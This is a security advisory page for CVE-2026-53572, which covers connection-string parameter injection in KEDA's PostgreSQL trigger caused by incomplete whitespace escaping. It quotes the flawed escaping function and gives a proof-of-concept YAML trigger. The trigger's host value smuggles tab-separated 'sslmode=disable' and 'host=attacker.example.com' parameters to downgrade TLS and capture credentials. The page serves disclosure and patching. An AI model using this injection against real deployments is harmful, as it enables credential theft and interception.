CVE-2026-53572
Summary
pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter:
func escapePostgreConnectionParameter(str string) string {
if !strings.Contains(str, " ") {
return str // returned as-is for any non-space whitespace
}
str = strings.ReplaceAll(str, "'", "\\'")
return fmt.Sprintf("'%s'", str)
}
The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.
Vulnerable code
pkg/scalers/postgresql_scaler.go, lines 155–164 and 250–257.
Impact
Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can:
- Force sslmode=disable on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.
- Redirect the connection to an attacker-controlled host (host=...) to steal the credentials the operator supplies via the password= keyword.
- Append arbitrary libpq runtime parameters (options=, application_name=, target_session_attrs=) to pivot behavior.
Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration — injected host= still redirects the subsequent password= keyword's target.
Proof of concept
triggers:
- type: postgresql
metadata:
host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
port: "5432"
userName: "keda"
dbName: "metrics"
sslmode: "require"
query: "SELECT 1"
After escapePo
CSIRTS triage
- What
- KEDA PostgreSQL trigger allows connection string parameter injection due to incomplete whitespace escaping.
- Who is affected
- KEDA deployments using PostgreSQL triggers with user-controlled input.
- Urgency
- Medium; parameter injection can lead to unauthorized database access or command execution.
- Action
- Upgrade KEDA to the patched version and audit PostgreSQL trigger configurations.
AI-assisted analysis generated from the source advisory — verify against the original.
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Exploitation outlook
- Low exploitation risk0.32% 30-day exploitation probability — currently an unlikely target, but scores change as exploit code circulates. Riskier than 24% of all EPSS-scored CVEs.
Advisory coverage (3)
- mediumCVE-2026-53572: KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/po…nvd · 2026-08-21
- mediumCVE-2026-53572: KEDA: PostgreSQL connection string parameter injection via incomplete whitespace escapingmsrc · 2026-08-11
- mediumGHSA-6w3m-4hhp-775q: KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escap…ghsa · 2026-07-07
External references
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